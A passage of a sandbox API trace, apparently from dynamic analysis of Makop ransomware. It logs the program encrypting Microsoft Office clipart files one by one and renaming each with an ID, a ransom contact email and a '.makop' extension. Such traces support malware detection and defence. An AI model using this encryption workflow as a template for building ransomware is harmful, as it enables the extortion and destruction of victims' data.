dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.158] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40412, lpOverlapped=0x0) returned 1 [0140.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40420, dwBufLen=0x40420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40420) returned 1 [0140.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40420, lpOverlapped=0x0) returned 1 [0140.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x404f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.173] SetEndOfFile (hFile=0xf0) returned 1 [0140.181] GetProcessHeap () returned 0x48a0000 [0140.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.182] GetProcessHeap () returned 0x48a0000 [0140.182] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.182] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.184] CloseHandle (hObject=0xf0) returned 1 [0140.184] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0140.204] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF") returned 63 [0140.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.205] GetProcessHeap () returned 0x48a0000 [0140.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.206] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0140.292] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.292] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.292] GetProcessHeap () returned 0x48a0000 [0140.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.299] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.300] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.303] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.305] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.308] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.310] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.310] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.310] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.311] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.311] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.311] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b16e, lpOverlapped=0x0) returned 1 [0140.315] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b170, dwBufLen=0x2b170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b170) returned 1 [0140.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.317] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b170, lpOverlapped=0x0) returned 1 [0140.318] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.318] SetEndOfFile (hFile=0xf0) returned 1 [0140.331] GetProcessHeap () returned 0x48a0000 [0140.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.331] GetProcessHeap () returned 0x48a0000 [0140.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.331] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.334] CloseHandle (hObject=0xf0) returned 1 [0140.334] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0140.334] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF") returned 63 [0140.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.429] GetProcessHeap () returned 0x48a0000 [0140.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.429] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0140.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.449] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.449] GetProcessHeap () returned 0x48a0000 [0140.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.449] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.450] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.450] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.451] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.451] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e82, lpOverlapped=0x0) returned 1 [0140.452] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e90, dwBufLen=0x4e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e90) returned 1 [0140.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.453] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e90, lpOverlapped=0x0) returned 1 [0140.453] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.453] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.453] SetEndOfFile (hFile=0xf0) returned 1 [0140.460] GetProcessHeap () returned 0x48a0000 [0140.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.461] GetProcessHeap () returned 0x48a0000 [0140.461] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.461] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.462] CloseHandle (hObject=0xf0) returned 1 [0140.463] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0140.463] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF") returned 63 [0140.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.464] GetProcessHeap () returned 0x48a0000 [0140.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.464] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0140.469] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.469] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.469] GetProcessHeap () returned 0x48a0000 [0140.469] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.469] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.469] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.470] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.470] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.470] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.470] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ada, lpOverlapped=0x0) returned 1 [0140.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0) returned 1 [0140.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ae0, lpOverlapped=0x0) returned 1 [0140.473] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.473] SetEndOfFile (hFile=0xf0) returned 1 [0140.480] GetProcessHeap () returned 0x48a0000 [0140.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.480] GetProcessHeap () returned 0x48a0000 [0140.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.480] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.482] CloseHandle (hObject=0xf0) returned 1 [0140.482] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0140.482] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF") returned 63 [0140.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.483] GetProcessHeap () returned 0x48a0000 [0140.483] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.483] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.540] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.540] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.540] GetProcessHeap () returned 0x48a0000 [0140.543] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.543] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.543] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.543] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 